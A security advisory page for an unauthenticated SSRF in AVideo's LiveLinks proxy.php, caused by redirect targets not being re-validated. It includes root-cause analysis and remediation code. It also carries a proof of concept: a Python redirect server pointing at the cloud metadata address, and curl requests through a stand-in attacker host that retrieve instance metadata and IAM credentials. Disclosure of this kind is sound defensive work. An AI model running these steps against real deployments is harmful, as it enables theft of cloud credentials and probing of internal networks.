Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-9x67-f2v7-63rw

HighCVSS 8.6 / 10
Published Mar 17, 2026·Last modified Mar 20, 2026
Affected Components(0)

No affected components available

Description

Summary

The plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.

Affected Component

  • plugin/LiveLinks/proxy.php — lines 38-42 (redirect handling without SSRF re-validation)
  • objects/functionsBrowser.phpfakeBrowser() (line 123, raw cURL fetch with no SSRF protections)

Description

Missing SSRF re-validation after HTTP redirect

The proxy.php endpoint validates the user-supplied livelink parameter against internal networks on line 18, using the comprehensive isSSRFSafeURL() function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling get_headers() on line 38 — which follows HTTP redirects — the code extracts the Location header and passes it directly to fakeBrowser() without re-applying the SSRF check:

// plugin/LiveLinks/proxy.php — lines 17-42

// SSRF Protection: Block requests to internal/private networks
if (!isSSRFSafeURL($_GET['livelink'])) {                    // line 18: only checks initial URL
    _error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']);
    echo "Access denied: URL targets restricted network";
    exit;
}

// ... stream context setup ...

$headers = get_headers($_GET['livelink'], 1, $context);      // line 38: follows redirects
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];                 // line 40: attacker-controlled redirect target
    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);                 // line 42: fetches internal URL, NO SSRF check
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}

No SSRF protections in fakeBrowser()

The fakeBrowser() function in objects/functionsBrowser.php performs a raw cURL GET with no URL validation:

// objects/functionsBrowser.php — lines 123-141
function fakeBrowser($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

No IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally.

Endpoint is fully unauthenticated

The file begins by explicitly opting out of database and session initialization:

$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
require_once '../../videos/configuration.php';

There is no .htaccess rule restricting access to proxy.php, and the root .htaccess confirms the plugin directory is routable (line 248: RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2).

Inconsistent defense pattern

The codebase demonstrates awareness of SSRF risks — isSSRFSafeURL() is used in 5 other locations (aVideoEncoder.json.php:303, aVideoEncoderReceiveImage.json.php:67,107,135,160, AI/receiveAsync.json.php:177). However, none of these callers deal with HTTP redirects. The proxy.php endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.

Double SSRF exposure

There are actually two SSRF requests in the redirect path:

  1. get_headers() (line 38) follows the redirect to the internal IP to fetch response headers
  2. fakeBrowser() (line 42) fetches the full response body from the internal IP

The second is more impactful as it returns the full content to the attacker.

Proof of Concept

Step 1: Set up an attacker-controlled server that returns a 302 redirect to an internal target:

# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

Step 2: Send the request to the target AVideo instance:

curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect"

Expected result: The response will contain the cloud metadata listing (e.g., ami-id, instance-id, iam/) prefixed with http://169.254.169.254: on each line. The attacker strips the prefix to recover the original metadata content.

Step 3: Escalate to IAM credential theft:

# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam"

This returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) that can be used to access cloud resources.

Impact

  • Cloud metadata exposure: Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials
  • Internal network scanning: Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure
  • Internal service data exfiltration: Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker
  • No authentication required: The attack is fully unauthenticated, requiring only network access to the AVideo instance

Recommended Remediation

Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)

Apply the same SSRF check to the redirect URL before fetching it:

$headers = get_headers($_GET['livelink'], 1, $context);
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];

    // Re-validate redirect target against SSRF
    if (!isSSRFSafeURL($_GET['livelink'])) {
        _error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['livelink']);
        echo "Access denied: Redirect URL targets restricted network";
        exit;
    }

    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}

Option 2: Disable redirect following in get_headers()

Prevent get_headers() from following redirects entirely by adding follow_location to the stream context:

$options = array(
    'http' => array(
        'user_agent' => '...',
        'method' => 'GET',
        'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\r\n"),
        'follow_location' => 0,  // Do not follow redirects
        'max_redirects' => 0,
    )
);

Then validate the Location header with isSSRFSafeURL() before following it manually. This approach prevents the get_headers() call itself from performing SSRF via the redirect.

Note: Option 1 is simpler but still allows get_headers() to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Risk Scores
Base Score
8.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.

Threat Intelligence
7.9

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.45%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard